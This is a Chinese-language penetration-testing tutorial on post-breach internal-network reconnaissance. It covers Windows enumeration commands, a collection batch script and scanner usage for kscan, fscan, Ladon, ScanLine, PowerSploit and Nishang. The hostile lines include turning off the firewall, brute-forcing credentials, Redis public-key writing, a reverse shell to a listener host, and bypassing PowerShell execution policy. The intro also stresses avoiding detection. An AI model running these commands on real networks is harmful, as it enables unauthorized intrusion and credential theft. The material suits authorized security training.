对于一名渗透测试人员来说,拿下外网服务器只是渗透测试的开始,而非结束。外网服务器只是连接内外网的跳板,真正具有价值和隐私的数据通常存储在内网之中。内网往往采用较为严密的网络隔离措施与安全防护,这也使得内网渗透成为安全测试的重中之重和难点所在。内网渗透的第一步是信息收集,这是一项耗时而繁琐的工作。通过各种技术手段挖掘内网服务器,网络设备,用户信息等,建立内网的整体网络拓扑架构图,找到进一步渗透的突破口。这需要测试人员具备强大的渗透技能,熟练运用各种信息枚举工具,并能够通过大量信息进行关联分析,得出有价值的结论。信息收集阶段的目标并非直接入侵内网深处,而是建立内网渗透路线图,发现易受攻击的网络节点和服务,较为超静默地获取用户凭证等有用信息。这是一场与时俱进的战斗,渗透测试人员需要熟知各种防护技术并采取相应手段规避检测,才能在不触发警报的情况下完成渗透的第一阶段。本文将针对内网信息收集做详细阐述,重点讲解信息收集的技巧和渗透测试人员需熟练掌握的渗透工具。通过具体案例分析,揭示信息收集在内网渗透中的重要地位与作用。同时,希望相关技术人员能够发现并修补内网环境的各种信息泄露与安全缺陷,提高整体的网络安全防护意识。
一、本地内网信息收集
网络配置信息
ipconfig
操作系统和软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本"
本机服务信息
wmic service list brief
进程信息.
tasklist
wmic process list brief
启动程序信息
wmic startup get command,caption
计划任务信息
schtasks /query /fo LIST /v
主机开机时间信息
用户列表信息
net user
wmic useraccount get name ,SID
查询端口列表
netstat ‐ano
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
防火墙相关操作
netsh firewall show state 查看防火墙是否开启
Windows server 2003之后: netsh firewall set opmode disable 或者netsh advfirewall set allprofiles
state off
二、本地内网信息收集自动化
bat脚本-------第一部分的命令一般不会手动敲,大多数使用自动化脚本获取,我们可以编写bat脚本去批量执行上方脚本。
这里介绍常用的bat脚本命令。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue…的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt
三、内网IP扫描
正如nmap一样,内网也有相关的扫描工具,这里介绍三款内网常用的IP扫描工具,具体使用方法就是将当前工具上传到当前受害主机,直接执行相关命令即可。
- Kscan
kscan是一款资产]测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不
发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,
且是go平台首款开源的RDP暴力破解工具。
usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--touch,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]
optional arguments:
-h , --help show this help message and exit
-f , --fofa 从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
-t , --target 指定探测对象:
IP地址:114.114.114.114
IP地址段:114.114.114.114/24,不建议子网掩码小于12
IP地址段:114.114.114.114-115.115.115.115
URL地址:https://www.baidu.com
文件地址:file:/tmp/target.txt
--spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
(空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
--check 针对目标地址做指纹识别,仅不会进行端口探测
--scan 将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
--touch 获取指定端口返回包,可以使用此次参数获取返回包,完善指纹库,格式为:IP:PORT
-p , --port 扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
-o , --output 将扫描结果保存到文件
-oJ 将扫描结果使用json格式保存到文件
-Pn 使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
-Cn 使用此参数后,控制台输出结果将不会带颜色
-Dn 使用此参数后,将关闭CDN识别功能
-sV 使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
--top 扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
--proxy 设置代理(socks5|socks4|https|http)://IP:Port
--threads 线程参数,默认线程100,最大值为2048
--path 指定请求访问的目录,只支持单个目录
--host 指定所有请求的头部Host值
--timeout 设置超时时间
--encoding 设置终端输出编码,可指定为:gb2312、utf-8
--match 对资产返回banner进行检索,存在关键字的,才会显示,否则不会显示
--hydra 自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
--hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
--hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
--hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
--hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
--fofa-syntax 将获取fofa搜索语法说明
--fofa-size 将设置fofa返回条目数,默认100条
--fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值
下载地址 https://github.com/lcvvvv/kscan
- fscan
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服
务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、
web漏洞扫描、netbios探测、域控识别等功能。
https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
- ladon
Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密
码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主
机、域名列表扫描。7.5版本内置100个功能模块,外部模块18个,通过多种协议以及方法快速获取目标
网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间
件、开放服务、路由器、数据库等信息,远程执行命令包含(wmiexe/psexec/atexec/sshexec
/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度
自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配
置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。
下载地址:https://github.com/k8gege/Ladon
四、内网端口扫描
- ScanLine
ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功
能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
‐? ‐ 显示此帮助文本
‐b ‐ 获取端口横幅
‐c ‐ TCP 和 UDP 尝试超时(毫秒)。 默认值为 4000
‐d ‐ 扫描之间的延迟(毫秒)。 默认为 0
‐f ‐ 从文件中读取 IP。 使用“stdin”作为标准输入
‐g ‐ 绑定到给定的本地端口
‐h ‐ 隐藏没有开放端口的系统的结果
‐i ‐ 除了 Echo 请求之外,用于 ping 使用 ICMP 时间戳请求
‐j ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符
‐l ‐ 从文件中读取 TCP 端口
‐L ‐ 从文件中读取 UDP 端口
‐m ‐ 绑定到给定的本地接口 IP
‐n ‐ 不扫描端口 ‐ 仅 ping(除非您使用 ‐p)
‐o ‐ 输出文件(覆盖)
‐O ‐ 输出文件(追加)
‐p ‐ 扫描前不要 ping 主机
‐q ‐ ping 超时(毫秒)。 默认值为 2000
‐r ‐ 将 IP 地址解析为主机名
‐s ‐ 以逗号分隔格式输出 (csv)
‐t ‐ 要扫描的 TCP 端口(以逗号分隔的端口/范围列表)
‐T ‐ 使用 TCP 端口的内部列表
‐u ‐ 要扫描的 UDP 端口(以逗号分隔的端口/范围列表)
‐U ‐ 使用 UDP 端口的内部列表
‐v ‐ 详细模式
‐z ‐ 随机化 IP 和端口扫描顺序
- PowerSpioit
PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中
的信息侦测,权限提升、权限维持等
ActivirusBypass:发现杀毒软件的查杀特征
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本
Persistence:后门脚本
Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚
本地执行
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts
192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt
- Nishang
Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不
是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源
什么的都不重要。总之,nishang也是一款不可多得的好工具。非常的好用。
Set‐ExecutionPolicy remotesigned 允许导入
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost 扫描
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress
192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }"
-
Kscan(同第三部分)
-
fscan(同第三部分)